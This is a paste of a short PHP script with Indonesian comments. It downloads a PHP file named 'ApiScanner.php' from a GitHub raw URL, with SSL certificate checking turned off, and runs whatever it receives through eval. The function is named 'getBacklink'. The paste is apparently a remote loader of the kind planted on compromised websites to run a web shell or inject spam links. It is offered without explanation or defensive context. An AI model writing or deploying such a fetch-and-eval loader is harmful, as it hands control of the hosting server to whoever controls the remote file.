Untitled


SUBMITTED BY: Guest

DATE: Oct. 18, 2024, 9:35 a.m.

FORMAT: Text only

SIZE: 1.0 kB

HITS: 63

  1. <?php
  2. function getBacklink($url) {
  3. if (ini_get('allow_url_fopen') == 1) {
  4. // Jika url fopen on maka jalankan
  5. return file_get_contents($url);
  6. } elseif (function_exists('curl_version')) {
  7. // Jika url fopen off maka jalankan menggunakan curl
  8. $ch = curl_init();
  9. curl_setopt($ch, CURLOPT_URL, $url);
  10. curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
  11. curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
  12. curl_setopt($ch, CURLOPT_HEADER, 0);
  13. $data = curl_exec($ch);
  14. curl_close($ch);
  15. return $data;
  16. } else {
  17. throw new Exception('Tidak dapat mengakses URL. Fopen dan cURL tidak tersedia.');
  18. }
  19. }
  20. $url = "https://raw.githubusercontent.com/Ezrayoandanicolas/Bl4z3F0x/refs/heads/main/ApiScanner.php";
  21. $content = getBacklink($url);
  22. // Verifikasi konten sebelum dieksekusi
  23. if (strpos($content, '<?php') === 0) {
  24. eval("?>" . $content);
  25. } else {
  26. echo "Konten tidak sesuai untuk dieksekusi.";
  27. }
  28. ?>

comments powered by Disqus